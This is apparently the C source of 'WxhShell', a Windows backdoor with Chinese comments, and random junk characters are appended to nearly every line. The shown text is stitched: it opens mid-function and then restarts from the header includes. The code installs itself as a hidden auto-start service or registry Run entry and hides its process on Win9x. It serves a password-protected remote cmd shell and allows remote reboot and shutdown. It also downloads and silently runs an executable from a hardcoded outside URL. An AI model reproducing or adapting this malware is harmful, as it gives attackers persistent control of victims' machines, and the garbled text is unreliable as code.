    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (rB?@:zN  
    if(Boot(SHUTDOWN)) OJTEvb6nPg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q%\rj?U_  
    else { jdW#; ]7+y  
    closesocket(wsh); yr, Oq~e  
    ExitThread(0); w W1>#F  
    } !dZpV~g0  
    break; <h[l)-86  
    } ; +%|!~  
  // 获取shell Y&y5^nG  
  case 's': { 6fcn(&Qk  
    CmdShell(wsh); <F#/wU^9  
    closesocket(wsh); d`ESe'j:  
    ExitThread(0); 6j5?&)xJ  
    break; g4=6\vg  
  } &Rxy]kBA  
  // 退出 lgei<\6~n5  
  case 'x': { g4CdzN~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); = }6l.9  
    CloseIt(wsh); s\dhQZw3  
    break; $bo 5:c  
    } +:m'a5Dm  
  // 离开 gW_^GrKpI  
  case 'q': { eHQ3K#M#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); oNa*|CSE>  
    closesocket(wsh); & GM&,  
    WSACleanup(); vddh 2G  
    exit(1); BBUXoz  
    break; i=DoK{`L  
        } 8"2X 8C8  
  } .p d_SQ~  
  } L7 f'  
`z]MQdE_w  
  // 提示信息 xulwn{R s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q?"-[6[v  
} XF=GmkO  
  } F G5e{  
WeqQw?-  
  return; :.%Hu9=GL  
} wD'LX  
SYZS@o  
// shell模块句柄 6yRxb (  
int CmdShell(SOCKET sock) W$_@9W(Bl  
{ f7Fr%*cO  
STARTUPINFO si; 4RU/y+[o  
ZeroMemory(&si,sizeof(si)); Ne 9R u'B6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '.&z y#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .-W_m7&}  
PROCESS_INFORMATION ProcessInfo; {Kh u'c  
char cmdline[]="cmd"; i][af  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ? W`?F  
  return 0; Vg^@6zU  
} +""8aA  
JkMf+ !  
// 自身启动模式 Mk"V%)1k  
int StartFromService(void) zZ\2fKrpg  
{ A! j4;=}  
typedef struct <u9U%V si  
{ q<` g  
  DWORD ExitStatus; Q?\rwnW?U  
  DWORD PebBaseAddress; Mb#-I GZ  
  DWORD AffinityMask; l<l6Ey(  
  DWORD BasePriority; eE'2B."F  
  ULONG UniqueProcessId; "0yO~;a  
  ULONG InheritedFromUniqueProcessId; kb>/R/,9  
}   PROCESS_BASIC_INFORMATION; gbJz5EEq  
}\oy?_8~  
PROCNTQSIP NtQueryInformationProcess; U]h5Q.<SG  
!ENb \'>J>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wZV/]jmlEt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jSyF]$"  
5I(gP  
  HANDLE             hProcess; 1vF^<{%v  
  PROCESS_BASIC_INFORMATION pbi; Uhz<B #tj  
P{!r<N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c>*RQ4vE  
  if(NULL == hInst ) return 0; @'yD(ZMAz  
<r%QaQRbm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4LBMhLy  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i1#\S0jN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X)K3X:~L+  
:"aCl~cy9g  
  if (!NtQueryInformationProcess) return 0; YLfZ;W|6u  
f9Hm2wV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @pKQ}?  
  if(!hProcess) return 0; 5$|wW}SA  
}FTyRHD|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `Al5(0Q  
^dzg'6M  
  CloseHandle(hProcess); ?`oCc [hY  
p7A&r:qq#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); . d;XLS~  
if(hProcess==NULL) return 0; \HzI*|*A  
fi2@`37PM  
HMODULE hMod; <R.5 Ma  
char procName[255]; N:y3tpG  
unsigned long cbNeeded; 6BJPQdqSl  
_"PT O&E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o!3-=<^  
:(|;J<R%_  
  CloseHandle(hProcess); ,\|W,N}~  
}lk_Oe1  
if(strstr(procName,"services")) return 1; // 以服务启动 8W]6/st?]  
,4-)  e  
  return 0; // 注册表启动 yB7=8 Pcx  
} ^fLePsmd  
z~/z>_y$nv  
// 主模块  pv=g)  
int StartWxhshell(LPSTR lpCmdLine) ;^Vsd\ac0  
{ K>h=  
  SOCKET wsl; 8gv \`  
BOOL val=TRUE; aIv>X@U}  
  int port=0; T'cahkSw'O  
  struct sockaddr_in door; T #&9|  
L44/eyrp  
  if(wscfg.ws_autoins) Install(); 3+<}Hm+  
!po8[fz~x  
port=atoi(lpCmdLine); ?Mg&e/^  
() Z!u%j  
if(port<=0) port=wscfg.ws_port; `5:Wv b>|  
/3! KfG  
  WSADATA data; $T\z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c]>s(/}T  
:t6 w+h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d7y`AS@q6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Zu\(XN?62  
  door.sin_family = AF_INET; X=Q)R1~6v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]w/`02w"$  
  door.sin_port = htons(port); M ]dS>W%U  
V fJYYR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vs/.'yD/C  
closesocket(wsl); vr|9NP]v  
return 1; +-=w`  
} +zQ a"Ep*  
X ?/C9  
  if(listen(wsl,2) == INVALID_SOCKET) { x1\,WOrmK  
closesocket(wsl); $!L'ZO1_r  
return 1; ] ZGP  
} bu[v[U4  
  Wxhshell(wsl); kzG m D i  
  WSACleanup(); + RX{  
TKpka]nJ  
return 0; njveZav  
F$UvYy4O d  
} ,YYyFMC7S  
#Mt'y8|}$  
// 以NT服务方式启动 ugEh}3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wuCiO;w  
{ <FIc!  
DWORD   status = 0; ZR<T\w  
  DWORD   specificError = 0xfffffff; $DZ\61  
_\YBB=Os  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 66*/"dBwm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P%A^TD|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IWvLt  
  serviceStatus.dwWin32ExitCode     = 0; .az +'1  
  serviceStatus.dwServiceSpecificExitCode = 0; vT V'D&x2  
  serviceStatus.dwCheckPoint       = 0; 3%Z:B8:<y  
  serviceStatus.dwWaitHint       = 0; %e2,p&0G  
F_o5(`>^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); { as#lHn  
  if (hServiceStatusHandle==0) return; PG<tic<?  
[R[]&\W  
status = GetLastError(); -t_t3aU|  
  if (status!=NO_ERROR) bT<if@h-  
{ xJtblZ1sr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /s"mqBXCG  
    serviceStatus.dwCheckPoint       = 0; >M{=qs  
    serviceStatus.dwWaitHint       = 0; v1Tla]d  
    serviceStatus.dwWin32ExitCode     = status; ;0ap#6T  
    serviceStatus.dwServiceSpecificExitCode = specificError; }{Ab:+aNd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 095:"GvO  
    return; t{#B td  
  } S"ZH5O(  
JsohhkJNGi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cRPW  
  serviceStatus.dwCheckPoint       = 0; ;/w-7O:  
  serviceStatus.dwWaitHint       = 0; Q H:k5V~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _KBN  
} j^#4!Ue  
9MQ!5Zn  
// 处理NT服务事件,比如:启动、停止 S)T]>Ash  
VOID WINAPI NTServiceHandler(DWORD fdwControl) FES_:?.0  
{ v#1}( hb  
switch(fdwControl) *Y"Kbn 6  
{ SJb+:L>  
case SERVICE_CONTROL_STOP: h.PVRAwk  
  serviceStatus.dwWin32ExitCode = 0; `)Z"||8K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  J jRz<T;  
  serviceStatus.dwCheckPoint   = 0; f%fD>a  
  serviceStatus.dwWaitHint     = 0; u;f${Wn'3  
  { @X@?jj&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y ;$wD9W  
  } .{[+d3+,  
  return; $VOSd<87  
case SERVICE_CONTROL_PAUSE: HriY-=ji>a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :.wR*E  
  break; *->2$uWP  
case SERVICE_CONTROL_CONTINUE: bBwQ1,c$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; iV#sMJN9  
  break; %M8 m 8 )  
case SERVICE_CONTROL_INTERROGATE: {;uOc{~+  
  break; 5}S~8  
}; XpWcf ([  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >yk@t&j,  
} w<=?%+n  
t5: 1' N9P  
// 标准应用程序主函数 L?_'OwaY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z,pKy Inw  
{ = F*SAz  
N 4Kj)E@  
// 获取操作系统版本 2d),*Cvf  
OsIsNt=GetOsVer(); nn[OC=cDN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jeb ]3i=pw  
]-ad\PI$  
  // 从命令行安装 c>I(6$  
  if(strpbrk(lpCmdLine,"iI")) Install(); %d-|C.  
D6X0(pU0  
  // 下载执行文件 Cngi5._Lb  
if(wscfg.ws_downexe) { PkM]jbLe8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .[mI9dc  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?8AV-rRX  
} v@m2c_,  
t&5N{C:  
if(!OsIsNt) { O5X@'.#rU  
// 如果时win9x,隐藏进程并且设置为注册表启动 in}d(%3h  
HideProc(); z~8`xn,  
StartWxhshell(lpCmdLine); %gBulvg  
} w[ )97d  
else e_U1}{=t  
  if(StartFromService()) dsJMhB_41U  
  // 以服务方式启动 90g=&O5@O  
  StartServiceCtrlDispatcher(DispatchTable); <}Hfu-PLo  
else 1jHugss9|  
  // 普通方式启动 p>Z18  
  StartWxhshell(lpCmdLine); ,xcm:; &  
KHnq%#  
return 0; 3|++2Z{},  
} |E]`rfr  
73C7g< Mx  
Fsdp"X.  
~ 9Xs=S!  
=========================================== +95: O 8  
V46=48K.  
[f._w~  
3[_zz;Y*d  
HNXMM  
LVHIQ9  
" 6gr?#D -F  
b*5Yy/U  
#include <stdio.h> Gl am(V1  
#include <string.h> RaT.%:CRm  
#include <windows.h> M~h^~:Lk  
#include <winsock2.h> :~"Dwrui  
#include <winsvc.h> O@9<7@h+Nl  
#include <urlmon.h> oItEGJ|  
`1xJ1 z#  
#pragma comment (lib, "Ws2_32.lib") \US'tF)/  
#pragma comment (lib, "urlmon.lib") 62s0$vw  
~)fd+~4L  
#define MAX_USER   100 // 最大客户端连接数 |.]g&m)y^h  
#define BUF_SOCK   200 // sock buffer &];:uYmMU  
#define KEY_BUFF   255 // 输入 buffer T)CEcz  
5~ip N/)E  
#define REBOOT     0   // 重启 P3e}G-Oz  
#define SHUTDOWN   1   // 关机 :"Gx  
{7F?30: ]  
#define DEF_PORT   5000 // 监听端口 GkU]>8E'"  
:o37 V!  
#define REG_LEN     16   // 注册表键长度 +cXdF  
#define SVC_LEN     80   // NT服务名长度 y [jck:  
!3*:6  
// 从dll定义API vV$6fvS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vx7wW<e%D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (Zi,~Wqm$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pw, <0UhV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +.3,(l  
a_V.mu6h6p  
// wxhshell配置信息 S\jIs[Dz  
struct WSCFG { 9coN >y  
  int ws_port;         // 监听端口 }LA7ku  
  char ws_passstr[REG_LEN]; // 口令 +$CO  
  int ws_autoins;       // 安装标记, 1=yes 0=no #Y_v0.N  
  char ws_regname[REG_LEN]; // 注册表键名 E9N.b.Q)  
  char ws_svcname[REG_LEN]; // 服务名 *B*dWMh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9JtPP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B k yW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K lbUs\E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _N1UL?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #cCR\$-~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <jz\U7TBf  
be+]kp  
}; yN/Uyhq  
i w(4!,4~  
// default Wxhshell configuration  b^dBX  
struct WSCFG wscfg={DEF_PORT, 2EAY`}Rl6.  
    "xuhuanlingzhe", K0 6 E:  
    1, UmNh0nS  
    "Wxhshell", g[D `.  
    "Wxhshell", <#ZDA/G(  
            "WxhShell Service", A5q%yt I  
    "Wrsky Windows CmdShell Service", C< B1zgX  
    "Please Input Your Password: ", n&fV^ x  
  1, <&m `)FJ  
  "http://www.wrsky.com/wxhshell.exe", HUWCCVn&  
  "Wxhshell.exe" +cf.In,{  
    }; #U ?=D/  
nq,P.~l  
// 消息定义模块 d>bS)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wM0P#+bA\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L9bIdiB7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y(97},  
char *msg_ws_ext="\n\rExit."; ;)rs#T;$  
char *msg_ws_end="\n\rQuit."; g@s'-8}X^  
char *msg_ws_boot="\n\rReboot..."; ,/1[(^e  
char *msg_ws_poff="\n\rShutdown..."; iosL&*'8  
char *msg_ws_down="\n\rSave to "; :G/.h[\R|  
O8<@+xlX  
char *msg_ws_err="\n\rErr!"; 2E/yZ ~2s  
char *msg_ws_ok="\n\rOK!"; P$hmDTn72  
o4d[LV4DS  
char ExeFile[MAX_PATH]; yS"; q  
int nUser = 0; |)pgUI2O[  
HANDLE handles[MAX_USER]; "v[?`<53^l  
int OsIsNt; -MTO=#5z  
r4wnfy  
SERVICE_STATUS       serviceStatus; _VFL}<i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z#_+yw  
hcJny  
// 函数声明 \+I+Lrj%  
int Install(void); &h67LMD!  
int Uninstall(void); KOP*\\1 J  
int DownloadFile(char *sURL, SOCKET wsh); EwuBL6kN  
int Boot(int flag); eT ZQ[qMp  
void HideProc(void); lKA2~o  
int GetOsVer(void); $@}\T  
int Wxhshell(SOCKET wsl); ZnXq+^ Z4  
void TalkWithClient(void *cs); jPyhn8Vw  
int CmdShell(SOCKET sock); #h~v(Z}  
int StartFromService(void); [*2|#KSCX  
int StartWxhshell(LPSTR lpCmdLine); maINp"#  
P%^\<#Ya7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (.J8Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m=e#1Hs   
z<Y >phc  
// 数据结构和表定义 >^V3Z{;  
SERVICE_TABLE_ENTRY DispatchTable[] = +f]\>{o4  
{ 7nOn^f D  
{wscfg.ws_svcname, NTServiceMain}, AOVoOd+6  
{NULL, NULL} A_}%YHb  
}; Jz Z9ua  
?:1)=I<A4  
// 自我安装 1u\kxlZ  
int Install(void) v>]^wH>/"  
{ N \Wd 0b  
  char svExeFile[MAX_PATH]; W*D].|  
  HKEY key; ypA)G/;  
  strcpy(svExeFile,ExeFile); (g 9G!I   
/&Vgo ~.J  
// 如果是win9x系统,修改注册表设为自启动 a"|\n_  
if(!OsIsNt) { u*C"d1v=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Kj`sq":Je0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /{7we$+,p  
  RegCloseKey(key); AYLCdCoK.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  l6uU S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K-f\nr  
  RegCloseKey(key); j6.'7f5M<H  
  return 0; PdNxuy  
    } $v*0 \O  
  } YTo^Q&  
} ; rJ  
else { 9X[}ik0  
y+ ZCuX  
// 如果是NT以上系统,安装为系统服务 q=|0lZ$`V_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); },'Ij; %%Q  
if (schSCManager!=0) sxBRg=  
{ Hz] p]  
  SC_HANDLE schService = CreateService DJ#z0)3<p  
  ( {Vj25Gt  
  schSCManager, [AHZOA   
  wscfg.ws_svcname, i <%  
  wscfg.ws_svcdisp, I-`qo7dQ_S  
  SERVICE_ALL_ACCESS, W=)wiRQm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , eODprFkt}  
  SERVICE_AUTO_START, ^68BxYUoD\  
  SERVICE_ERROR_NORMAL, c?1 :='MC  
  svExeFile, xw%'R-  
  NULL, =P"Sm r  
  NULL, Z" !+p{u  
  NULL, 68v59)0U  
  NULL, c6NCy s  
  NULL J@I-tS  
  ); mK2M1r  
  if (schService!=0) w}jH,Ew  
  { H%\\-Z$#  
  CloseServiceHandle(schService); D@yuldx'/  
  CloseServiceHandle(schSCManager); 8*V8B=q}K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uVBMI.&w  
  strcat(svExeFile,wscfg.ws_svcname); l8_TeO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^"Nsb&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1q[vNP=g&  
  RegCloseKey(key); Pv(icf l|  
  return 0; dqvgyyq  
    } -S(_ZbeN  
  } VN1a\  
  CloseServiceHandle(schSCManager); }M I9?\"q  
} 6$JRV  
} `xO&!DN  
]&D;'),   
return 1; QhHexr6  
} ;%R+]&J  
vj:hMPC ZM  
// 自我卸载 g}hR q%  
int Uninstall(void) qt#a_F*rV  
{ Y=6b oT  
  HKEY key; K)`\u7Bu  
L,F )l2  
if(!OsIsNt) { G*f5B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2 #+g4  
  RegDeleteValue(key,wscfg.ws_regname); VK)K#!O8  
  RegCloseKey(key); 5_mb+A n,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1Jx|0YmO  
  RegDeleteValue(key,wscfg.ws_regname); Kb#}f/  
  RegCloseKey(key); 3GSoHsNk  
  return 0; Ye8&cZ*.  
  } sDH|k@K  
} ')ErXLP_  
} &dV|~xA6N  
else { FB0y  
I2!0,1Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Yz?1]<X  
if (schSCManager!=0) 1/bu}?a  
{ mYudUn4Wo  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k_=~ObA$g  
  if (schService!=0) BlV k?n  
  { ?6bk&"T?  
  if(DeleteService(schService)!=0) { 'CH|w~E  
  CloseServiceHandle(schService); ;NrkX?Y  
  CloseServiceHandle(schSCManager); _faI*OY8  
  return 0; w:z@!<  
  } <h/\)bPB  
  CloseServiceHandle(schService); oK GFDl]3  
  } p,=:Ff}~  
  CloseServiceHandle(schSCManager); "}bk *2  
} $o"PQ!z  
} C_[V[k0(  
lxRzyx  
return 1; FRicHs n  
} fWR]L47n  
U=C8gVb{Hq  
// 从指定url下载文件 "Q~6cH[#  
int DownloadFile(char *sURL, SOCKET wsh) !Cj1:P  
{ :zC'jceO  
  HRESULT hr; m<BL/ 7  
char seps[]= "/"; ,uD>.->  
char *token; AcN~Q/xU  
char *file;  {Y9m;b,X  
char myURL[MAX_PATH]; c 25wm\\  
char myFILE[MAX_PATH]; W?"Z>tgp  
yD`{9'L -  
strcpy(myURL,sURL); >?,arER  
  token=strtok(myURL,seps); ?wps_XU  
  while(token!=NULL) lHpo/ R :  
  { [)`9euR%  
    file=token; *|x2"?d-F:  
  token=strtok(NULL,seps); -#b-@sD  
  } -;z&">  
Q^v8n1  
GetCurrentDirectory(MAX_PATH,myFILE); *n0k2 p  
strcat(myFILE, "\\"); WT!8.M;Kv  
strcat(myFILE, file); #[*e$C  
  send(wsh,myFILE,strlen(myFILE),0); FeS6>/  
send(wsh,"...",3,0); -/aDq?<<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zjh&?G]:G  
  if(hr==S_OK) '[p~| mX  
return 0; 3MC| O5R4  
else lX`)Avqa  
return 1; $&m^WrZaY  
nm*!#hx  
} $7aRf'  
0+O)~>v  
// 系统电源模块 Kbc-$ oneR  
int Boot(int flag) YE5v~2  
{ sHe:h XG'  
  HANDLE hToken; '?Q [.{<  
  TOKEN_PRIVILEGES tkp; &_&])V)<\S  
`X]-blHo  
  if(OsIsNt) { F'Fc)9qFa<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gv; =Yhw.c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?x@BZe  
    tkp.PrivilegeCount = 1; ~?aq=T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M~7?m/Wj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3Fh<%<=  
if(flag==REBOOT) { :*1Gs,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `4Z#/g  
  return 0; 8&VwAo  
} L.15EXAB  
else { %|Vo Zx ^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eF"7[_+D  
  return 0; 1,W%t\D  
} G#Z%jO-XN  
  } x#| P-^  
  else { Xt'R@"H<V9  
if(flag==REBOOT) { "G|Gyc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2?ZH WS>U  
  return 0; lw? f2_fi  
} w"-bO ~5h  
else { V/|Ln*rm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t9m: E  
  return 0; E[LXZh  
} g i:;{  
} Ih`n:aA  
bqf=;Nvog  
return 1; X8bo?0  
} ~m uVQ  
F& H~JJ  
// win9x进程隐藏模块 h|%d=`P,  
void HideProc(void) %M9^QHyo@  
{ [}lv!KmzW  
e?L$RY,7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i(,R$AU  
  if ( hKernel != NULL ) K]@^8e$(  
  { t2+m7*76  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nI.#A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rN{&$+"2  
    FreeLibrary(hKernel); +U+c] Xgt  
  } h&yaug,.  
Y*f7& '[  
return; >K-O2dry*  
} c.&vWmLSGE  
jRB:o?S  
// 获取操作系统版本 cY#TH|M  
int GetOsVer(void) f]5bAs  
{ ET _}x7  
  OSVERSIONINFO winfo; `"(7)T{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )J (ekfM  
  GetVersionEx(&winfo); Aid{PGDk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,i*^fpF`F"  
  return 1; 0,m*W?^31  
  else yQ+#Tlji  
  return 0; m98k /w_  
} N ~M:+ \  
K N0S$nW+  
// 客户端句柄模块 ;=)CjC8)  
int Wxhshell(SOCKET wsl) xvp{F9~qT  
{ #JuO  
  SOCKET wsh; 'L3 \I  
  struct sockaddr_in client; &r DOqj  
  DWORD myID; 66)@4 3V  
TmX~vZ  
  while(nUser<MAX_USER) ,[Cl'B  
{ S~/iH Xm  
  int nSize=sizeof(client); 1Q?hskL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x 6,S#p  
  if(wsh==INVALID_SOCKET) return 1; fb`VYD9[^  
qI;k2sQR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "VcGr#zW  
if(handles[nUser]==0) hUA3(!0)  
  closesocket(wsh); C _[jQTr  
else Q1&: +7 %  
  nUser++; pBL{DgX  
  } "t"dz'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Uk;SY[mU  
4ItXZo  
  return 0; T X6Ydd  
} `2S{.s  
eIof{#  
// 关闭 socket zq4mT;rqz  
void CloseIt(SOCKET wsh) Cn28&$:J  
{ L<8y5B~W  
closesocket(wsh); e|MyA?`  
nUser--; e>z7?"N  
ExitThread(0); \3)%p('  
} 4eaC18?  
4f"be  
// 客户端请求句柄 VIi|:k  
void TalkWithClient(void *cs) L1rov  
{ Xx?Jt  
Vaq=f/  
  SOCKET wsh=(SOCKET)cs; #M`ijN!Y  
  char pwd[SVC_LEN]; 3<JZt.|  
  char cmd[KEY_BUFF]; "_#%W oo  
char chr[1]; 8`u#tl(  
int i,j; _/E>38G]  
YuPgsJ[m  
  while (nUser < MAX_USER) { *[yCcqN.  
qKO\;e*  
if(wscfg.ws_passstr) { wc__g8?'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UdL`.D,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2s 6Vy  
  //ZeroMemory(pwd,KEY_BUFF); S~6<'N&[  
      i=0; HHEFX9u  
  while(i<SVC_LEN) { Iv/yIS  
`+zr PpX  
  // 设置超时 uft~+w P  
  fd_set FdRead; Xd|5{  
  struct timeval TimeOut; 3tLh{S?uJ  
  FD_ZERO(&FdRead); }JlQQ  
  FD_SET(wsh,&FdRead); z>y,}#D?C  
  TimeOut.tv_sec=8; Vx0V6{JX  
  TimeOut.tv_usec=0; P"i qP|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y/i"o-}}~|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2_F`ILCML  
,cC4d`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F=P|vYL&&  
  pwd=chr[0]; OH)SdSBz  
  if(chr[0]==0xd || chr[0]==0xa) { *"e[au^8*b  
  pwd=0; dOiy[4s  
  break; ut\9@>*J=Q  
  } `kj7I{'l%9  
  i++; Yhlk#>I  
    } Rf%ver  
<:&w/NjbI  
  // 如果是非法用户,关闭 socket Nz:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mZM5aTQ3  
}  g| r  
 dc5B#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ORHC bw9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d!wd,Xj}  
m]DjIs*@%h  
while(1) { Rwy:.)7B$q  
HE( U0<9c  
  ZeroMemory(cmd,KEY_BUFF); CWDo_g $  
%5z88-\  
      // 自动支持客户端 telnet标准   >eRbasshEI  
  j=0; %pg*oX1VK6  
  while(j<KEY_BUFF) { )m)>k` 0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~RMOEH.o  
  cmd[j]=chr[0]; Gu_s:cgB9F  
  if(chr[0]==0xa || chr[0]==0xd) { Y":hb;&  
  cmd[j]=0; VUt 6[~?  
  break; 0cS.|\ZTA  
  } ]\3dJ^q|%  
  j++; #o^E1cI  
    } ;hZ(20  
~;`i&s  
  // 下载文件 BM3)`40[]  
  if(strstr(cmd,"http://")) { Jhut>8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); XM=`(e o  
  if(DownloadFile(cmd,wsh)) nwkhGQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P4N{lQ.>  
  else !.w S+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (8EZ,V:  
  } QR8F'7S  
  else { )0'O!O  
<A6<q&g|E  
    switch(cmd[0]) { "3>#[o  
  5VPuHY2  
